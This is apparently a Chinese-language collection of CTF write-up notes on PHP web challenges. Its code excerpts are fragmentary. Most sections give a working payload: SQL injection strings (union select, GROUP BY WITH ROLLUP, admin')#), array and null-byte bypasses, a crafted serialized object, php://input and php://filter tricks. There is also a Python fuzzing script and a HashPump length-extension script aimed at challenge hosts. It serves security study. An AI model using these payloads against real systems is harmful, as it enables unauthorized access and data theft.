注意:null==0 正确
null==flase 错误
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
exp
exp:?shiyan=&flag=1
使用的时候加上参数EXTR_SKIP 这个参数表示如果有冲突,不不覆盖已有的变量或者还有EXTR_PREFIX_SAME.
$value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
https://www.cnblogs.com/miyeah/p/4005269.html
import requests
for i in range(256):
rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
if '1' in rq.text:
print "%%%02X"%i
%%%02x 前两个百分号是输出一个百分号,第一个百分号用来转义第二个百分号的。第三个自然是格式的输出。
fuzz的结果
%0C
%2B
1336){
echo $flag;
}
?>
temp=1337a
where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
token的加密,对token进行base64解密然后压缩,最后反序列化。
自然我们可以先进行序列化然后压缩,最后base64加密。
当然,我们需要让token的user属性是ichunqiu,于是就有了
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
You password must be alphanumeric';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('*-* have not been found
');
}
}
else
{
echo 'Invalid password
';
}
}
?>
?password=1e9%00*_*
https://blog.csdn.net/Xxy605/article/details/109908059
strpos()
找的是字符串,那么传一个数组给它,就是null,null!==flasenctf[]=
那为什么ereg()
也能符合呢?因为ereg()
在出错时返回的也是null
,null!==false
,所以符合要求.
字符串截断,利用ereg()
的NULL
截断漏洞,绕过正则过滤,注意将#编码,不进行url编码会当作分隔符
https://blog.csdn.net/liu943367080/article/details/97130559
0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
?a[]=1
使用:php<5.3的时候,传入非字符数也会报错
传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误
Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.
';
}
else
echo 'Login first!
';
?>
sha1()
函数和md5()
函数存在着漏洞,sha1()
函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()
函数返回错误,也就是返回false
,这样一来===
运算符就可以发挥作用了,需要构造username
和password
既不相等,又同样是数组类型
所以payload:?name[]=a&password[]=b
Wrong guess.';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
删除cookies
或者删除cookies
的值,同时把password
的值置空
connect_error) {
die("Connection failed: " . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
//sql语句
// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "Logged in! Key:**************
";
}
else {
echo("Log in failure!
");
}
}
?>
?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!
";
echo "flag: *****************}
";
}
?>
因为get传参以后会自动进行一次url编码,所以一共要两次
connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
//select user from php where (user='admin')#
//exp:admin')#
$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if($row['user']=="admin") {
echo "Logged in! Key: ***********
";
}
if($row['user'] != "admin") {
echo("You are not admin!
");
}
}
?>
admin')#
ROLLUP
绕过'."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo ''."
";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
https://blog.csdn.net/qq_35078631/article/details/54772798
offset 1
表示跳过一条数据
https://blog.csdn.net/shuteer_xu/article/details/107478640
ctf@localhost
查表,查列的时候,数据库名使用16进制
`flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1`
有版本限制的。
$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
?username=admin\'\' AND pass=\''or 1 #&password=
//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #
0=0
强等于只能用数组绕过
?username[]=1&password[]=2,每次得出来的都是null
' . mysql_error() . '
' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
https://www.cnblogs.com/beijibing/p/10393526.html
no! try again";
}
else{
echo($query[content]);
}
}
?>
1024.1
四舍五入绕过最基本的if判断
= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x
开头则表示16
进制,将这串数字转换成16
进制之后发现,是deadc0de
,在开头加上0x
,代表这个是16
进制的数字,然后再和十进制的
3735929054
比较,答案当然是相同的,返回true
拿到flag
echo dechex ( 3735929054 ); // 将3735929054转为16进制
结果为:deadc0de
构造:
http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de
= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
意为必须是12个字符以上(非空格非TAB之外的内容)
$password
分成连续的符号punct
或者数字digit
或者大写upper
或者小写lower
能分成6段以上
而且必须要有大小写字母,数字,字符内容三种与三种以上,最后还要等于42
42.00e+00000000000
或
42.Hell0dddddddddd
https://zhidao.baidu.com/question/336186893.html
输入任意字符串即可
unserialize()
会忽略多余的字符
readfile();
?>
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造 http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
直接能造成逃逸
Web 350
Welcome Admin. Your flag is
} else {
echo "Only Admin can see the flag!!
";
}
?>
https://www.cnblogs.com/Cl0ud/p/13380114.html
所以我们需要突破的是
$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))
先看后面的比较
左边的$hsh是我们COOKIE中传递过去的$hsh 哈希值
右边是使用盐值和反转后的传过去的role值连接后,并进行md5加密的结果,需要与$hsh相等
这里看上去是无懈可击的,虽然我们可以传递hsh和role的值,但是因为我们不知道盐值,所以得到的md5很难凭猜或者爆破来令其与hsh相等。
但是如MD5,SHA1, SHA2等,都是基于Merkle–Damgård结构,而这类算法的问题在于:如果你知道加密前的原文,和加密后的密文,只需要再知道盐值的长度,就能在原文后面添加信息并计算出相应的密文。
在pcat的博文中介绍过应用场景为
如果一个应用程序是这样操作的:
准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
这个时候,该应用程序就易受长度扩展攻击
另外,只有盐值在前,原文在后,才可以用hash长度扩展攻击。
预测得到的是:
md5(盐+原文+填充+恶意扩充)
哈希长度扩展攻击我们通常使用HashPump进行利用
HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
我们先进行抓包
这里还利用了PHP反序列化unserialize的一个特性,即unserialize()
会忽略多余的字符
例如:
可以看到,后面的guest被忽略了,没有进行反序列化,而是被忽略了,这也是我们使用填充字符进行哈希长度扩展攻击的关键。
另外我们虽然不知道盐值的长度,但是我们可以进行逐个尝试
将获得的结果反序后重放
import requests,hashpumpy,urllib
def attack():
url = 'http://web.jarvisoj.com:32778/'
old_cookie = '3a4727d57463f122833d9e732f94e4e0'
str1 = 's:5:"guest";'
str2 = 's:5:"admin";'
str1 = str1[::-1] #倒过来,这道题要role的值反过来求md5
str2 = str2[::-1]
for i in range(1,20): #用于爆破salt的长度
new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie} #quote()可以把 \x00 变成 %00
ans = requests.get(url,cookies = payload)
print(i)
print(ans.text)
if 'flag' in ans.text:
print(ans.text)
#print(urllib.parse.quote('\x00'))
attack()
?]', $data)) {
die('No No No!'.$data);
}
else {
$s = implode($data);
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
}
else{
echo "Hello admin, now you can upload something you are easy to forget.";
echo "
there are the source.
";
echo '';
}
}
else{
echo "Sorry. You have no permissions.";
}
?>
想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<>
的形式传入数组,这样的话在执行 implode()
函数的时候就不会使 &s
为空,成功绕过这段逻辑拿到flag。
";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
?id=aaa&b=%00123456&a=php//:input
post: 1112 is a nice lab!
得到{/^HT2mCpcvOLf}
其中^经过url编码为%5e,所以最后访问即
0){
echo file_get_contents($filename);
}
else{
die("you don't like bingbing ???");
}
}
else
{
die("can't pass the level?hai xiang kai junjian?");
}
[会代替成为_
crack[me.com=php://filter/read=convert.base64|bingbing/resource=xxx.php
这里需要先绕过$r2=mt_rand();
https://gitee.com/jrand/php_mt_seed
用这个工具.